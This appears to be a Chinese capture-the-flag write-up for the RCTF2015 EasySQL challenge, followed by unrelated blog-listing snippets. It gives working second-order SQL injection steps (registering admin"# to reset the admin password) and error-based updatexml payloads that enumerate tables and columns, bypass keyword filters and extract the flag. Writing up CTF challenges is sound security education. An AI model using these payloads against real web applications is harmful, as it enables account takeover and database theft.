1、打开之后只有登录和注册两个功能,界面如下:

2、随便注册一个账户并进行登录,(注册admin时显示该账户已存在,考虑到是不是要获取到admin账户),发现可以进行改密操作,结果如下:

3、抓取各个页面的数据包未发现有用的信息,修改密码的数据包中也不存在明文账户信息,此时想到后台更新密码语句应该为:update password='xxxx' where username="xxxx",所以我们直接注册用户名为admin"#来闭合sql语句和注释掉后面的sql语句,并admin"#账户的密码,修改后的密码即为admin账户的密码,结果如下:

4、然而并没有什么用,admin账户和自己注册的账户显示的信息一样,但是通过上面我们也发现我们注册的账户明信息存在二次注入行为才导致了admin账户的密码被修改,那我们就需要对注册的账户名进行操作了,因为更改密码未回显信息,那这里只能考虑报错注入。在注册界面尝试时发现and、order等部分关键词被过滤,因此payload:asd"&&(updatexml(1,concat(0x7e,database(),0x7e),1))#,在修改密码时获得数据库名字为:web_sqli,结果如下:

5、获取数据库名字后就需要开始获取表的名字,修改payload:asd"&&(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1))#,获取到表的名字为:article、flag、users,结果如下:

6、获取到表的名字之后那就获取列的名字,payload:asd"&&(updatexml(1,concat(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#,成功获取到列明:name,pwd,email,real_flag_1s_her,但是这里一定要注意updatexml函数只能返回32位,所以最后一个列明未必完整,最终列明为:name,pwd,email,real_flag_1s_here,其中concat后面的1在修改为0x7e的时候会因updatexml函数的限制而无法完整输出列明,删除时会导致第一列的name信息丢失,但是在本地进行测试时并不会出现第一列数据丢失的情况(不知道原因),结果如下:

7、获取到列明信息后直接读取flag信息,payload:asd"&&(updatexml(1,concat(1,(select(group_concat(real_flag_1s_here))from(users))),1))#,结果如下:

8、很明显flag值中存在一些和flag无关的数据,因此就需要获取自己需要的数据,此处采用正则表达式来获取flag值,payload:asd"&&(updatexml(1,concat(1,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#,结果如下:

9、获取的flag值因为报错函数的限制,未完全输出,因为分割函数都被过滤了,这里只能采用reverse函数将flag逆向输出,然后与正向的进行拼接获得,payload:asd"&&(updatexml(1,concat(1,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#,结果如下:

10、通过脚本或者sql语句将获得倒叙的flag值转回正序,最终得到flag值:flag{703ebda2-7058-4ad0-9cb0-dfeecdaba99b}。

将倒叙的flag值转成正序:

str= '}b99abadceefd-0bc9-0da4-8507-2ad'
str=str[::-1]
print(str)

或者mysql执行语句:

select reverse('}b99abadceefd-0bc9-0da4-8507-2ad');

[RCTF2015]EasySQL-1|SQL注入的更多相关文章

  1. [RCTF2015]EasySQL

    [RCTF2015]EasySQL EasySQL github 打开靶机,是如下界面 到注册页面,试了一下,username 和 email 处有过滤,直接 fuzz 一下哪些字符被禁了 注册成功之 ...

  2. BUUCTF[归纳]sql注入相关题目

    这是我自己对于sql注入的部分ctf题型的归纳,均来自buuctf的平台环境. [0CTF 2016]piapiapia 我尝试了几种payload,发现有两种情况. 第一种:Invalid user ...

  3. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  4. Web安全相关(五):SQL注入(SQL Injection)

    简介 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据 ...

  5. 从c#角度看万能密码SQL注入漏洞

    以前学习渗透时,虽然也玩过万能密码SQL注入漏洞登陆网站后台,但仅仅会用,并不理解其原理. 今天学习c#数据库这一块,正好学到了这方面的知识,才明白原来是怎么回事. 众所周知的万能密码SQL注入漏洞, ...

  6. 浅谈SQL注入风险 - 一个Login拿下Server

    前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...

  7. 揭开SQL注入的神秘面纱PPT分享

        SQL注入是一个老生常谈但又经常会出现的问题.该课程是我在公司内部培训的课程,现在分享出来,希望对大家有帮助.     点击这里下载.

  8. 深入理解SQL注入绕过WAF和过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  9. jdbc java数据库连接 8)防止sql注入

    回顾下之前jdbc的开发步骤: 1:建项目,引入数据库驱动包 2:加载驱动 Class.forName(..); 3:获取连接对象 4:创建执行sql语句的stmt对象;  写sql 5:执行sql ...

  10. Entity Framework关于SQL注入安全问题

    1.EF生成的sql语句,用 parameter 进行传值,所以不会有sql注入问题 2.EF下有涉及外部输入参数传值的,禁止使用EF直接执行sql命令方式,使用实体 SQL   参考: https: ...

随机推荐

  1. iOS全埋点解决方案-时间相关

    前言 ​ 我们使用"事件模型( Event 模型)"来描述用户的各种行为,事件模型包括事件( Event )和用户( User )两个核心实体.我们在描述用户行为时,往往只需要描述 ...

  2. .netcore6.0自己配置swagger

    环境:.net core6.0 一.安装依赖包:Swashbuckle.AspNetCore 二.右击项目->属性->生成->输出,勾选文档文件,然后配置文件生成路径,注意是相对路径 ...

  3. c++ web框架实现之静态反射实现

    0 前言 最近在写web框架,框架写好后,需要根据网络发来的请求,选择用户定义的servlet来处理请求.一个问题就是,我们框架写好后,是不知道用户定义了哪些处理请求的类的,怎么办? 在java里有一 ...

  4. [BZOJ5449] 序列

    题目链接:序列 Description 给定一个\(1\)~\(n\)的排列x,每次你可以将 \(x_1, x_2, ..., x_i\) 翻转. 你需要求出将序列变为升序的最小操作次数. 多组数据. ...

  5. SQL中的数字、字母和汉字

    知识点001 当变量的数据类型为VARCHAR时,变量赋值后,变量中的字符所占字节数,数字和字母是1个bytes,汉字是2个bytes; 当变量的数据类型为NVARCHAR时,变量赋值后,变量中的字符 ...

  6. SQL Server 2017 各版本之间的差异

    SQL Server 2017的亮点 您选择的语言和平台 使用您选择的语言在本地和云中(现在在 Windows.Linux 和 Docker 容器上)构建现代应用程序. 行业领先的性能 充分利用任务关 ...

  7. React简单教程-3-样式

    前言 在上一章 React 简单教程-2-ts 和组件参数 中我们新建的子组件 Displayer 没有样式,显得平平无奇,这一篇我们将给他美化一下. CSS 文件 一般的做法,是在你的组件级目录下新 ...

  8. ACL权限控制

    ALC讲述比较详细 https://zhuanlan.zhihu.com/p/360158311

  9. springboot2.7.x 集成log4j2配置写入日志到mysql自定义表格

    在阅读之前请先查看[springboot集成log4j2] 本文暂不考虑抽象等实现方式,只限于展示如何自定义配置log4j2并写入mysql数据库(自定义结构) 先看下log4j2的配置 <?x ...

  10. 什么是工业仿真?工业3D仿真有什么样的市场价值?

    什么是工业仿真? 工业仿真是对实体工业的一种虚拟,它将实体工业中的各个模块转化成数据整合到一个虚拟的体系中去.这个体系会模拟现实工业作业中的每一项工作和流程,并与之实现各种交互. 工业仿真技术作为目前 ...